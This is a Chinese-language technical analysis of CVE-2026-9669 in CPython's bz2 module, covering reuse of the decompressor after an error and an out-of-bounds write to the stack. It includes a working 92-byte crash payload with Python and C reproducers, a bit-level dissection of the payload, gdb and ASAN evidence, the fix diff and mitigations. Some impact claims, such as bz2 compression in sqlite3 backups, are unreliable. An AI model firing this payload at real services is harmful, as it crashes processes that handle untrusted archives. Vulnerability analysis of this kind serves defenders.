CVE-2026-9669 是 CPython bz2 模块的一处错误后复用缺陷:BZ2Decompressor 解压报错后仍可再次调用,libbz2 状态机以错误现场重入,越界值写入 6 字节栈数组 pos(CWE-787),触发 stack smashing detected(SIGABRT)。

一、一次未被封存的错误

项

值

CVE 编号

CVE-2026-9669

组件

CPython _bz2 模块(Modules/_bz2module.c)↔ libbz2(bzip2 1.0.8)

缺陷类型

错误后复用(use-after-error)→ 状态机重入 → 栈缓冲区越界读写(CWE-787)

CVSS v4.0

8.2

影响版本

CPython 3.14 系列,修复于 3.16.0 之前(含 3.14.x 全分支)

修复提交

157a5df8cb5d82b33f918a7489e72ce95ceb12b6(cherry-pick 5755d0f0),2026-06-07

触发前提

同一 BZ2Decompressor 实例在一次解压报错后再次调用 decompress()

PoC 载荷

92 字节(184 个 hex 字符),第二次调用仅需 18 字节 b'\x00'

漏洞成因链可以一句话概括:_bz2module.c 在 BZ2_bzDecompress 返回错误后既不记录错误状态,也不冻结解压器,导致第二次调用带着第一次调用遗留的 save_j=6 等半程状态重入 BZ2_decompress;重入路径的 break 分支未复检 j >= nGroups,越界值 6 被写入 selectorMtf[298],随后逆 MTF 阶段以 v=6 索引 6 字节的栈数组 pos,发生越界读写,最终触发 *** stack smashing detected ***(SIGABRT)。

二、复现底座:一支漏洞版,一支修复版

2.1 系统基线

2.2 获取 CPython 3.14 源码并检出漏洞版

修复提交为 157a5df8,检出其父提交 157a5df8^ 即未修复版本。

# 拉取 3.14 分支并展开历史,检出漏洞提交的父提交
git clone --depth 1 --branch 3.14 https://github.com/python/cpython.git cpython-3.14
cd cpython-3.14
git fetch --unshallow
git checkout 157a5df8^

# 漏洞版:解压器结构体不含 bzerror 成员
grep -n -- '->bzerror' Modules/_bz2module.c
echo "退出码 $?"

再对照修复提交,可见该成员在解压路径上被记录、检查与初始化:

# 修复版:结构体成员 bzerror 的写入、检查与初始化
git show 157a5df8:Modules/_bz2module.c | grep -n -- '->bzerror'

2.3 构建漏洞版解释器

# 在 cpython-3.14/ 源码目录内,打开 pydebug 便于后续调试;make 多核并行
./configure --with-pydebug
make -j4

构建产物为 ./python

# 确认解释器版本
  ./python -V

2.4 构建修复版解释器(对照组)

复现后同环境对照,切回修复提交增量编译:

# 切到修复提交,增量构建修复版解释器
git checkout 157a5df8
make -j4

对照完成后切回父提交,把解释器恢复到漏洞版现场,供第 3 章的 PoC 实测使用:

# 从修复提交切回其父提交(漏洞版),增量构建
git checkout 157a5df8^
make -j4

2.5 构建 ASAN 版 libbz2

漏洞版解释器只能看到 stack smashing detected,拿不到精确地址,单独编译 ASAN 插桩的 libbz2 定位越界点:

# 回到工作目录,取 bzip2 源码并单独编译 ASAN 版共享库
cd ~/cve-2026-9669
apt source bzip2
mkdir -p asan && cp bzip2-1.0.8/*.c bzip2-1.0.8/*.h asan/
cd asan
gcc -g -O0 -fsanitize=address -fPIC -c blocksort.c bzlib.c compress.c crctable.c decompress.c huffman.c randtable.c
gcc -g -O0 -fsanitize=address -shared -o libbz2_asan.so *.o && echo "libbz2_asan.so 构建成功"

2.6 构建插桩版 libbz2

在 decompress.c 的 selector 解码与逆 MTF 两处插入 fprintf 观察状态机流转,先确认插入点:

# 查看 SELECTOR_3 解码循环与逆 MTF 块,确定插桩位置
sed -n '293,311p' decompress.c

用 sed 分别替换第 303 行(selector 写回)与第 314 行(逆 MTF 取值),追加打印语句;第 315 行的 tmp = pos[v] 越界读保持原样,使插桩库与 ASAN 库在越界点上的代码一致:

# W: 标记 selector 解码阶段写回的值,U: 标记逆 MTF 阶段取到的下标
sed -i '303s/.*/           s->selectorMtf[i] = j; if (i >= 295) fprintf(stderr, "W: i=%d j=%d\\n", i, j);/' decompress.c
sed -i '314s/.*/            v = s->selectorMtf[i]; fprintf(stderr, "U: i=%d v=%d\\n", i, v);/' decompress.c
gcc -g -O0 -o libbz2_o0.so -shared -fPIC blocksort.c bzlib.c compress.c crctable.c decompress.c huffman.c randtable.c && echo "libbz2_o0.so 构建成功"

W: 打印 selector 写回值、U: 打印逆 MTF 取到的下标,用于还原越界写前的最后一次状态流转;if (i >= 295) 把输出收敛到越界点(i=298)附近,避免 selector 全量刷屏。

三、让解压器死两次

3.1 触发 PoC

PoC 只依赖标准库 bz2,载荷字节在第四章拆解。

poc_bz2.py:

import bz2
import sys

# 92 字节恶意 bzip2 流:头部合法,SELECTOR_3 段在第 298 个 selector 处
# 编码为 6 个连续 1,第一次调用在 j++ 至 6 时触发 BZ_DATA_ERROR
payload = bytes.fromhex(
    "425a6839314159265359000000000000007fffff000000000000000000000000"
    "00000000000000000000000000000000000000e0370000000000000000000000"
    "0000000000000000000000000000000000000000000000000000"
    "83f3"
)

print("Python", sys.version.split()[0])

d = bz2.BZ2Decompressor()
# 第一次调用:payload 在 SELECTOR_3 段触发 BZ_DATA_ERROR,对象层抛 OSError
try:
    d.decompress(payload)
except OSError as e:
    print("first call: OSError ->", e)

# 关键:漏洞版报错后对象状态未冻结,needs_input 仍为 True
print("needs_input =", d.needs_input, "eof =", d.eof)

# 第二次调用:带着 save_j=6 重入状态机,18 字节零流触发越界
print("=== second call (vulnerable) ===")
out = d.decompress(b"\x00" * 18)
print("second call returned", len(out), "bytes")

3.2 漏洞版复现输出

cd ~/cve-2026-9669/cpython-3.14
./python -u ../poc_bz2.py

退出码 134(SIGABRT),对应栈 canary 被越界写破坏后的 abort()。

3.3 修复版复现输出

# 2.4 节末尾已切回漏洞版,此处切到修复提交并增量重编译,再运行同一 PoC
git checkout 157a5df8
make -j4
./python -u ../poc_bz2.py

修复版在第二次调用入口直接抛 ValueError,不再触达 libbz2。needs_input 从漏洞版的 True 变为 False,正是修复 diff 中 _Py_atomic_store_char_relaxed(&d->needs_input, 0) 带来的变化。

3.4 剥掉 Python 外壳:C 直连 libbz2 的取证

Python 侧拿不到精确越界地址,把同样的两次调用用 C 直连 libbz2 重写一遍,链接 ASAN 版共享库。

cve_repro.c:

#include <stdio.h>
#include <string.h>
#include <bzlib.h>

/* 与 3.1 节相同的 92 字节载荷,逐字节展开 */
static unsigned char data[92] = {
    0x42,0x5a,0x68,0x39,0x31,0x41,0x59,0x26,0x53,0x59,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0xff,0xff,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0xe0,0x37,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x83,0xf3
};

int main(void) {
    bz_stream s;
    char out[4096];
    int r1, r2;

    memset(&s, 0, sizeof(s));
    BZ2_bzDecompressInit(&s, 0, 0);           /* 初始化解压状态机 */

    /* 第一次调用:喂入 92 字节载荷 */
    s.next_in = (char *)data;
    s.avail_in = (unsigned)sizeof(data);
    s.next_out = out;
    s.avail_out = sizeof(out);
    r1 = BZ2_bzDecompress(&s);                /* 返回 BZ_DATA_ERROR */
    printf("call1 ret = %d\n", r1);

    /* 第二次调用:18 字节零流,状态机从 save_j=6 现场重入 */
    unsigned char pad[18] = {0};
    s.next_in = (char *)pad;
    s.avail_in = 18;
    r2 = BZ2_bzDecompress(&s);
    printf("call2 ret = %d\n", r2);

    BZ2_bzDecompressEnd(&s);
    return 0;
}

编译并运行:

# 链接 ASAN libbz2,ASAN 在越界点中止并打印报告
cd ~/cve-2026-9669
gcc -g -O0 -fsanitize=address -o cve_asan cve_repro.c -Iasan asan/libbz2_asan.so
LD_LIBRARY_PATH=asan ./cve_asan

报告把越界定位于 decompress.c:315(tmp = pos[v] 的读取),pos 是 6 字节栈数组 [32, 38),访问偏移 38 溢出 1 字节。完整调用链为 BZ2_bzDecompress(bzlib.c:842) -> BZ2_decompress,cve_repro.c:39 即第二次调用 BZ2_bzDecompress 所在行。这条调用链与 3.2 节 Python 侧的 stack smashing detected 是同一处越界:canary 在函数返回时拦截了写越界,ASAN 则直接在读越界点中止。

四、位级手术:把 SELECTOR_3 缝进第 298 个符号

4.1 载荷的段布局

载荷即 3.1 节 PoC 中的 92 字节流。先从 PoC 里把 hex 串还原成二进制文件,再逐字节查看:

# 从 poc_bz2.py 中提取 hex 串并落盘为 92 字节的 payload.bz2
python3 - <<'PY'
import pathlib, re
txt = pathlib.Path('poc_bz2.py').read_text()
hx = ''.join(re.findall(r'^\s*"([0-9a-f]+)"\s*$', txt, re.M))
pathlib.Path('payload.bz2').write_bytes(bytes.fromhex(hx))
print(len(hx)//2, 'bytes written')
PY

# 92 字节载荷的原始字节,应与 poc_bz2.py 中的 bytes.fromhex 串逐字节一致
xxd payload.bz2

bzip2 位流按 GET_BITS 宏(decompress.c:43-67)以 MSB-first 顺序消费,即每个字节的高位先被读取。92 字节载荷从文件头到 SELECTOR_3 的段布局列于下表(位偏移自块起始):

段

字节范围

位数

值

说明

文件头

0-3

32

42 5a 68 39

BZh9

块魔数

4-9

48

31 41 59 26 53 59

1AY&SY

storedBlockCRC

10-13

32

0x00000000

解压不校验

RANDBIT

14 起

1

0

未随机化

ORIGPTR

14 起

24

0

指向 0

MAPPING_1

17 起

16

0xFFFF

16 组全部声明有效

MAPPING_2

19 起

256

8 个 1

nInUse=8

SELECTOR_1

51 起

3

6

nGroups=6

SELECTOR_2

51 起

15

440

nSelectors=440

SELECTOR_3

53 起

动态

见 4.2

第 298 个 selector 触发错误

对应位偏移:RANDBIT 自 bit112(字节 14 的 bit0),ORIGPTR 占 bit113-136(紧随其后的 24 位),MAPPING_1 自 bit137 起。表内"起"为字节序号,"(bitN 起)"标注该段在该字节内的起始位,与 4.2 节 verify_bits.py 的 r.bits(1) / r.bits(24) 读取顺序一致。

载荷的设计目标很明确:让 nGroups、nSelectors、alphaSize 三个关键参数落在合法边界内,同时在 SELECTOR_3 段埋入一个恰好越过 nGroups 的非法 selector。nGroups=6 与 nSelectors=440 的位段位于载荷中部(第 51-52 字节),SELECTOR_3 的数据由中部零流(第 53-89 字节)与尾部 0x83 0xf3 共同提供。

4.2 第 298 次落子的窗口

SELECTOR_3 每个 selector 采用 unary 编码:j 个连续 1 后接一个 0,j 即该 selector 的 MTF 值。decompress.c:294-297 在 j++ 后立即检查 j >= nGroups,一旦达到 6 即返回 BZ_DATA_ERROR:

while (True) {
    GET_BIT(BZ_X_SELECTOR_3, uc);   /* 读 1 位 */
    if (uc == 0) break;             /* 遇到终止 0,j 即为该 selector 值 */
    j++;
    if (j >= nGroups)               /* 越界检查:j 到 6 即报错 */
        RETURN(BZ_DATA_ERROR);
}

载荷把前 298 个 selector(i=0..297)全部编码为合法值(j < 6,其中仅 i=293 为 j=1,其余为 j=0),并把第 299 个 selector(i=298)编码为 6 个连续 1 且不接终止 0。这 6 个 1 恰好落在载荷尾部字节 0x83 0xf3 上:

# 载荷末尾两字节的位展开(MSB-first 消费顺序)
xxd -b -s 90 -l 2 payload.bz2

第一次调用中,SELECTOR_3 循环在 i=298 处读到第 6 个 1,j++ 至 6,命中 RETURN(BZ_DATA_ERROR),同时把现场写入 s->save_* 落盘后返回。92 字节载荷在此刻几乎耗尽,仅剩 4 位未消费。

位流拆解的正确性可以直接验证:按 GET_BITS 的 MSB-first 顺序重放载荷,应得到与后续 gdb 取证完全一致的参数。

verify_bits.py:

# 按 bzip2 GET_BITS 宏的 MSB-first 顺序重放载荷头部与 SELECTOR 段
data = bytes.fromhex(
    "425a6839314159265359000000000000007fffff000000000000000000000000"
    "00000000000000000000000000000000000000e0370000000000000000000000"
    "0000000000000000000000000000000000000000000000000000"
    "83f3"
)

class BitReader:
    """MSB-first:字节高位先出,与 GET_BITS 一致"""
    def __init__(self, d):
        self.d = d
        self.p = 0  # 当前位偏移
    def bits(self, n):
        v = 0
        for _ in range(n):
            v = (v << 1) | ((self.d[self.p // 8] >> (7 - self.p % 8)) & 1)
            self.p += 1
        return v

r = BitReader(data)
for _ in range(10): r.bits(8)   # BZh9 + 块魔数 1AY&SY
r.bits(32)                      # storedBlockCRC = 0
r.bits(1)                       # RANDBIT = 0
r.bits(24)                      # ORIGPTR = 0
m1 = [r.bits(1) for _ in range(16)]
# MAPPING_2:每组 16 位,为 1 的位计入 nInUse
nInUse = sum(r.bits(1) for i in range(16) if m1[i] for _ in range(16))
ng = r.bits(3)                  # SELECTOR_1: nGroups
ns = r.bits(15)                 # SELECTOR_2: nSelectors
print("alphaSize =", nInUse + 2, "nGroups =", ng, "nSelectors =", ns)
# 用项目内解释器运行位流重放脚本
./cpython-3.14/python verify_bits.py

与 6.5 节 gdb 取证的 save_alphaSize=10, save_nGroups=6, save_nSelectors=440 完全一致 。

五、错误该被记住:对象层失守的起点

5.1 结构体定义

漏洞版 _bz2module.c:111-130 的 BZ2Decompressor 结构体(Modules/_bz2module.c):

typedef struct {
    PyObject_HEAD
    bz_stream bzs;          /* libbz2 解压流:状态机现场保存在 bzs->state 与 save_* */
    char eof;               /* 是否到达流结尾 */
    PyObject *unused_data;  /* 流结尾之后的多余数据 */
    char needs_input;       /* 是否需要更多输入 */
    char *input_buffer;
    size_t input_buffer_size;

    /* bzs->avail_in 只有 32 位,真实长度单独保存,
       分块与循环封装在 decompress_buf() 中 */
    size_t bzs_avail_in_real;
    PyThread_type_lock lock;
} BZ2Decompressor;

结构体没有记录"最近一次解压是否失败"的字段。错误状态只存在于 libbz2 内部(bz_stream 的 state 与 save_* 字段),Python 对象层对错误一无所知。

5.2 decompress_buf 的错误分支

漏洞版 decompress_buf(_bz2module.c:437-460)的核心循环:

for (;;) {
    int bzret;
    /* libbz2 的 avail_in 只有 32 位,按 UINT_MAX 分块喂入 */
    bzs->avail_in = (unsigned int)Py_MIN(d->bzs_avail_in_real, UINT_MAX);
    d->bzs_avail_in_real -= bzs->avail_in;

    Py_BEGIN_ALLOW_THREADS
    bzret = BZ2_bzDecompress(bzs);   /* 调用 libbz2 状态机 */
    Py_END_ALLOW_THREADS

    d->bzs_avail_in_real += bzs->avail_in;

    if (catch_bz2_error(bzret))      /* BZ_DATA_ERROR 等错误 */
        goto error;                  /* 漏洞点:直接跳错,不记录 bzerror */
    if (bzret == BZ_STREAM_END) {
        d->eof = 1;                  /* 正常到达流结尾才置 eof */
        break;
    } else if (d->bzs_avail_in_real == 0) {
        break;                       /* 输入耗尽,等待下次调用 */
    } else if (bzs->avail_out == 0) {
        /* 输出缓冲区满,扩容后继续 */
        ...
    }
}

catch_bz2_error(bzret) 对 BZ_DATA_ERROR 返回真,但漏洞版直接 goto error,不设置任何 Python 对象字段。上层入口 decompress_impl 只检查 eof,不检查错误状态,于是第二次调用会原样继续调用 BZ2_bzDecompress,把错误现场当作"等待更多输入"的中间态继续推进。

5.3 修复版对照

修复 diff(157a5df8)在结构体加入 int bzerror,在错误分支记录错误并冻结 needs_input,在入口拦截复用。Modules/_bz2module.c 的修复段:

/* decompress_buf 错误分支(修复后):记录错误并冻结输入状态 */
if (catch_bz2_error(bzret)) {
    d->bzerror = bzret;
    _Py_atomic_store_char_relaxed(&d->needs_input, 0);
    goto error;
}
/* decompress_impl 入口(修复后):错误后禁止再次解压 */
ACQUIRE_LOCK(self);
if (self->eof) {
    PyErr_SetString(PyExc_EOFError, "End of stream already reached");
}
else if (self->bzerror) {
    /* 错误后复用 BZ2_bzDecompress 可导致越界写 */
    PyErr_SetString(PyExc_ValueError,
                    "Decompressor is unusable after a previous error");
}
else {
    result = decompress(self, data->buf, data->len, max_length);
}

修复把"错误"从 libbz2 内部状态提升为 Python 对象的一等公民,从源头切断重入路径。

六、RETURN 宏写下的越界伏笔

6.1 状态机常量

BZ2_decompress 由 BZ_X_* 状态常量驱动。与本次漏洞相关的状态集中在头部解析到 MTF 解码之间(bzlib_private.h):

#define BZ_X_MAGIC_1     10
#define BZ_X_MAGIC_2     11
...
#define BZ_X_MAPPING_1   28
#define BZ_X_MAPPING_2   29
#define BZ_X_SELECTOR_1  30
#define BZ_X_SELECTOR_2  31
#define BZ_X_SELECTOR_3  32
#define BZ_X_CODING_1    33
...
#define BZ_X_MTF_1       36

其中 BZ_X_SELECTOR_3 = 32 正是重入时恢复的状态。

6.2 GET_BITS 宏与增量解压

GET_BITS 宏(decompress.c:43-67)以 case 标签进入状态,bsBuff 左移累积字节(MSB-first),按需装载输入:

#define GET_BITS(lll,vvv,nnn)                     \
   case lll: s->state = lll;                      \
   while (True) {                                 \
      if (s->bsLive >= nnn) {                     \
         UInt32 v;                                \
         v = (s->bsBuff >>                        \
             (s->bsLive-nnn)) & ((1 << nnn)-1);   \
         s->bsLive -= nnn;                        \
         vvv = v;                                 \
         break;                                   \
      }                                           \
      if (s->strm->avail_in == 0) RETURN(BZ_OK);  \
      s->bsBuff                                   \
         = (s->bsBuff << 8) |                     \
           ((UInt32)                              \
              (*((UChar*)(s->strm->next_in))));   \
      s->bsLive += 8;                             \
      s->strm->next_in++;                         \
      s->strm->avail_in--;                        \
      ...
   }

注意 avail_in == 0 时的 RETURN(BZ_OK):解压中途输入耗尽返回成功,等下次调用继续。这正是增量解压的工作方式,也是"重入"在协议层面合法的原因——状态机设计上就允许任意中间状态被恢复。GET_BIT(decompress.c:70)是 GET_BITS 的单 bit 包装,SELECTOR_3 的 unary 解码正是逐位调用它。

6.3 RETURN 宏与现场落盘

RETURN 宏(decompress.c:40)统一走 save_state_and_return 标签(decompress.c:619),把全部中间状态写入 s->save_*:

#define RETURN(rrr)                               \
   { retVal = rrr; goto save_state_and_return; };
save_state_and_return:
    s->state = zzz;                 /* 当前状态:BZ_X_SELECTOR_3 = 32 */
    s->bsLive = bsLive;
    s->bsBuff = bsBuff;
    s->strm->avail_in = avail_in;
    s->strm->next_in = next_in;
    s->save_i = i; s->save_j = j;   /* 关键:错误发生时 i=298, j=6 */
    s->save_nGroups = nGroups; s->save_nSelectors = nSelectors;
    s->save_alphaSize = alphaSize;
    return retVal;

RETURN(BZ_DATA_ERROR) 与 RETURN(BZ_OK) 共用同一落盘逻辑。也就是说,错误现场与正常"等待输入"现场在状态机层面没有任何区别,都表现为可重入的中间状态。对象层若不拦截,第二次调用就会从错误现场继续执行。这是本漏洞得以成立的结构性原因。

6.4 从 32 号状态重入

状态迁移全过程可以用一张流程图表达:

图中两次调用被虚线连接的部分就是漏洞的核心:错误落盘(H->I)与合法等待输入落盘走同一条路径,导致第二次调用(J)直接复用了错误现场。

6.5 gdb 取证:重入现场

在 BZ2_decompress 入口断点,分别观察第一次调用与第二次调用进入时的状态。cve_repro_g(即 3.4 节的 cve_repro.c 以 -g 编译):

# 在工作目录下用 -g 重编译,使 gdb 能打印结构体字段
gcc -g -O0 -o cve_repro_g cve_repro.c -Iasan asan/libbz2_o0.so
# 批处理模式:入口打印首次调用状态,continue 后在第二次入口再打印一次
gdb -q -batch -ex 'set pagination off' -ex 'set breakpoint pending on' \
    -ex 'break BZ2_decompress' -ex 'run' \
    -ex 'printf "ENTRY state=%d save_i=%d save_j=%d save_nGroups=%d save_nSelectors=%d save_alphaSize=%d\n", s->state, s->save_i, s->save_j, s->save_nGroups, s->save_nSelectors, s->save_alphaSize' \
    -ex 'continue' \
    -ex 'printf "ENTRY state=%d save_i=%d save_j=%d save_nGroups=%d save_nSelectors=%d save_alphaSize=%d\n", s->state, s->save_i, s->save_j, s->save_nGroups, s->save_nSelectors, s->save_alphaSize' \
    ./cve_repro_g

Function "BZ2_decompress" not defined. 与紧随的 pending 是同一条断点在共享库加载前的正常提示;W: 行来自 2.6 节插桩版 libbz2_o0.so。第一次调用进入时 state=10(BZ_X_MAGIC_1),save_* 全零;第二次进入时 state=32(BZ_X_SELECTOR_3),携带第一次调用落盘的 save_i=298、save_j=6、save_nGroups=6、save_nSelectors=440、save_alphaSize=10。两条 ENTRY 就是"错误现场重入"的直接证据,也与 4.2 节的位流重放互相印证。

七、逆 MTF 捅穿 pos[6]

7.1 越界链

第二次调用从 state=32 恢复后,SELECTOR_3 循环(decompress.c:293-298)在 i=298 处继续:

while (True) {
    GET_BIT(BZ_X_SELECTOR_3, uc);   /* 读 1 位 */
    if (uc == 0) break;             /* 重入点:j=6 时读到 0 直接跳出 */
    j++;
    if (j >= nGroups) RETURN(BZ_DATA_ERROR);
}

关键在 j 的初值:第一次调用落盘 save_j=6,重入时 j 恢复为 6。第二次调用的 18 字节输入全为零,GET_BIT 读到 0,命中 if (uc == 0) break; 直接跳出循环——该分支不复检 j >= nGroups。于是越界值 6 被写回 selectorMtf[298],随后进入逆 MTF 阶段。

插桩输出给出两次调用合并后的完整序列(W: 为 selector 解码,U: 为逆 MTF):

# 链接插桩版 libbz2(-O0),本节的观察对象
cd ~/cve-2026-9669
gcc -g -O0 -o cve_repro cve_repro.c -Iasan asan/libbz2_o0.so
# 过滤插桩输出中越界点附近的关键行
./cve_repro 2>&1 | grep -E 'W: i=(29[0-9]|30[0-9])|U: i=(29[0-9]|30[0-9])'

W: i=298 j=6 即重入路径写回越界值;随后逆 MTF 阶段 U: i=298 v=6 以 v=6 索引 pos。注意第一次调用在 i=298 处已经因 j=6 返回错误,W: i=298 j=6 是第二次调用重入后打印的——两条输出(W 与 U)分别来自两次调用的后半程,正好拼出完整的越界链路。

7.2 逆 MTF 越界

逆 MTF 块(decompress.c:308-320)维护 6 字节的栈数组 pos,以 MTF 值索引:

{
    UChar pos[BZ_N_GROUPS], tmp, v;   /* pos 只有 BZ_N_GROUPS=6 字节 */
    for (v = 0; v < nGroups; v++) pos[v] = v;

    for (i = 0; i < nSelectors; i++) {
        v = s->selectorMtf[i];        /* decompress.c:314:v=6,越界 MTF 值 */
        tmp = pos[v];                 /* decompress.c:315:越界读,ASAN 命中点 */
        while (v > 0) { pos[v] = pos[v-1]; v--; }  /* v=6 越界写 */
        pos[0] = tmp;
        s->selector[i] = tmp;
    }
}

v=6 时执行 tmp = pos[6]:读取越界 1 字节;随后 while 循环执行 pos[6] = pos[5]:写入越界 1 字节。ASAN 报告先命中读取(decompress.c:315),栈布局 pos[32, 38),偏移 38 溢出。

越界发生在栈帧中的位置:

越界字节落在 pos 之后紧邻的栈变量区域。在漏洞版解释器中,这一字节破坏的恰好是 canary 所在区域,函数返回时触发 stack smashing detected;在 ASAN 版中则被精确报告为 pos[32, 38) 偏移 38 的越界访问。

7.3 从 OSError 到 SIGABRT

时序图摊平对象层与状态机层的交互:Python 侧只看到"首次报错、二次崩溃",真正发生的是 libbz2 带着错误现场重入,在逆 MTF 段越界。

八、影响半径:从 tarfile 到 pandas

8.0 受影响版本

范围

版本

受影响

CPython < 3.16.0(含 3.14 / 3.15 系列全版本)

首个修复版本

3.16.0(主分支提交 5755d0f0)

3.14 分支修复

backport 提交 157a5df8,随 3.14 系列维护版本发布

受影响的判定标准不是"能否解压 bz2",而是是否允许在解压报错后继续调用同一 BZ2Decompressor 实例。3.16.0 之前的所有版本在该路径上均存在缺陷;3.14 系列在 backport 合入前的维护版本同样受影响(对应 2.3 节构建的 3.14.5+ 验证环境)。

8.1 谁在使用增量解压器

漏洞的对象是 BZ2Decompressor,它是 bz2 模块中增量解压的入口。要评估触发面,先分清 bz2 模块的几种使用形态:

形态

API

是否复用实例

是否受影响

一次性解压

bz2.decompress(data)

否(内部新建对象,用完即弃)

不受影响

文件对象

bz2.BZ2File

内部持有一个解压器,流式读取

取决于读取模式

增量对象

bz2.BZ2Decompressor.decompress()

是(多次调用同一实例)

受影响

漏洞只出现在"同一实例多次调用"的路径上。一次性解压即使输入恶意流,也只触发第一次调用就结束,错误对象被丢弃,没有第二次机会。

8.2 标准库链路

标准库中凡是"流式消费 bz2 数据"的功能,都可能把外部输入喂给增量解压器:

  • tarfile:.tar.bz2 归档流式解压。攻击者提供的恶意 .tar.bz2 若让程序对归档内容做分段读取,会反复调用解压器;若解压中途报错后程序继续尝试读取下一个成员,即可能命中复用路径。tarfile 对损坏成员一般会抛 ReadError/EOFError 并中止,但依赖具体错误处理分支。
  • zipfile:ZIP_DEFLATED 之外支持 bz2 压缩方法(方法码 12)。恶意 zip 内单个条目用 bz2 压缩,读取条目内容时同样走增量解压。
  • shutil / 打包分发:shutil.make_archive 等工具在解压 .tar.bz2 时复用 tarfile 路径。
  • pip / wheel:wheel 实际使用 zip 容器,若 wheel 内条目采用 bz2 压缩(合法但罕见),安装流程会解压该条目。

这些链路共同点是:输入来源是文件或网络流,程序在不知情的情况下把恶意 bz2 流喂给解压器。但只有"报错后继续调用同一实例"的程序逻辑才会触发漏洞,多数工具在解压报错后会中止流程,因此实际暴露面取决于错误处理策略,而非仅取决于数据来源。

8.3 第三方生态链路

Python 生态中 bz2 增量解压同样常见于数据处理与云存储场景:

  • pandas:pd.read_csv(..., compression='bz2') 底层用 bz2.BZ2Decompressor 流式读取,文件在解压中途损坏时 pandas 会向用户抛错,一般不继续。
  • boto3 / s3fs / gcsfs:对象存储下载 .tar.bz2 或 .bz2 文件时流式解压;若业务代码在捕获解压异常后重试同一流对象,可能复用。
  • sqlite3 backup:sqlite3.Connection.backup() 及备份工具若启用 bz2 压缩并支持中断续传,会复用解压器。
  • 消息队列 / 日志管道:以 bz2 压缩的日志分片被流式消费,消费端在"解码错误重试"逻辑下可能复用实例。

这些场景的共同模式是"流式 + 可重试"。一次性读取后即关闭的场景天然免疫,只有把解压器当作长生命周期对象、并在错误后不重建而是重试的代码才暴露。

8.4 危害边界

  • 可用性:触发即进程 SIGABRT,是确定性的 DoS。攻击者只需让受害者程序解压一次恶意 bz2 流,即可使进程崩溃;对长驻服务(消息消费、网关解压)效果明显。
  • 完整性:越界读写均为 1 字节,落在 pos 之后的相邻栈变量区域。ASAN 显示先读后写,写发生在 while 循环内(pos[6] = pos[5]),可破坏相邻栈字节。能否进一步转化为控制流劫持取决于栈布局与相邻变量,实证阶段未发现直接 RIP 控制路径,官方也未按任意代码执行评级。
  • 复杂度:触发无需堆风水、无需大内存、无需特定平台,92 字节载荷 + 18 字节零流即可稳定崩溃,攻击成本极低。

综合来看,CVE-2026-9669 的实际危害以低成本的确定性远程 DoS 为主,凡是接受不可信 bz2 数据并可能复用解压器的程序都在暴露面上;在 3.14 系列升级修复版本前,应优先审计流式解压 + 错误重试的代码路径。

九、一行 bzerror 封住重入门

9.1 官方修复 diff

# 进入源码仓库,查看修复提交对 _bz2module.c 的全部改动
cd ~/cve-2026-9669/cpython-3.14
git show 157a5df8 -- Modules/_bz2module.c
commit 157a5df8cb5d82b33f918a7489e72ce95ceb12b6
Author: Stan Ulbrych <stan@python.org>
Date:   Sun Jun 7 19:37:10 2026 +0100

    [3.14] gh-150599: Prevent bz2 decompressor reuse after errors (#150600) (#151054)

    (cherry picked from commit 5755d0f083949ff3c5bf3a37e673e24e306b036e)

diff --git a/Modules/_bz2module.c b/Modules/_bz2module.c
index 6e76e537a7..e6b8198b90 100644
--- a/Modules/_bz2module.c
+++ b/Modules/_bz2module.c
@@ -116,6 +116,7 @@ typedef struct {
 typedef struct {
     PyObject_HEAD
     bz_stream bzs;
+    int bzerror;
     char eof;           /* Py_T_BOOL expects a char */
     PyObject *unused_data;
     char needs_input;
@@ -459,8 +460,11 @@ decompress_buf(BZ2Decompressor *d, Py_ssize_t max_length)
 
         d->bzs_avail_in_real += bzs->avail_in;
 
-        if (catch_bz2_error(bzret))
+        if (catch_bz2_error(bzret)) {
+            d->bzerror = bzret;
+            _Py_atomic_store_char_relaxed(&d->needs_input, 0);
             goto error;
+        }
         if (bzret == BZ_STREAM_END) {
             d->eof = 1;
             break;
@@ -629,10 +633,17 @@ _bz2_BZ2Decompressor_decompress_impl(BZ2Decompressor *self, Py_buffer *data,
     PyObject *result = NULL;
 
     ACQUIRE_LOCK(self);
-    if (self->eof)
+    if (self->eof) {
         PyErr_SetString(PyExc_EOFError, "End of stream already reached");
-    else
+    }
+    else if (self->bzerror) {
+        // Re-entering BZ2_bzDecompress() after an error can write out of bounds.
+        PyErr_SetString(PyExc_ValueError,
+                        "Decompressor is unusable after a previous error");
+    }
+    else {
         result = decompress(self, data->buf, data->len, max_length);
+    }
     RELEASE_LOCK(self);
     return result;
 }
@@ -666,6 +677,7 @@ _bz2_BZ2Decompressor_impl(PyTypeObject *type)
         return NULL;
     }
 
+    self->bzerror = 0;
     self->needs_input = 1;
     self->bzs_avail_in_real = 0;
     self->input_buffer = NULL;

修复共三处:结构体增加 bzerror 成员(修复版文件第 119 行);错误分支记录 bzerror 并置零 needs_input(第 464-465 行);入口检查 bzerror 并抛 ValueError(第 639-641 行)。另有 __new__ 初始化 self->bzerror = 0(第 680 行),保证新建对象处于干净状态。另需注意:漏洞版本就存在同名局部变量 bzerror 与 catch_bz2_error() 函数(2.2 节已说明),修复的关键是把它从栈上局部量提升为对象内的持久化状态。

9.2 修复有效性

  • 错误被对象层捕获后,bzerror != 0 使所有后续 decompress() 调用在触达 libbz2 前返回 ValueError,重入路径被彻底关闭。
  • needs_input 置零修正了漏洞版"报错后 needs_input 仍为 True"的误导性状态(3.3 节的输出对比清晰可见)。
  • 修复在 Python 层完成,不修改 libbz2 状态机本身;底层 BZ2_bzDecompress 仍允许调用者自行复用出错流。这提示一个审计要点:任何封装增量解压库的对象层,都应在错误后显式冻结实例,而不是依赖底层状态机的健壮性。

9.3 缓解建议

未升级的场景可临时缓解:

  • 捕获 OSError 后重建解压器实例,而不是复用;对 BZ2File 的流式读取,错误后重新打开文件。
  • 对不可信 bz2 输入先做一次独立的 bz2.decompress 完整性校验,通过后再交给增量解压路径。
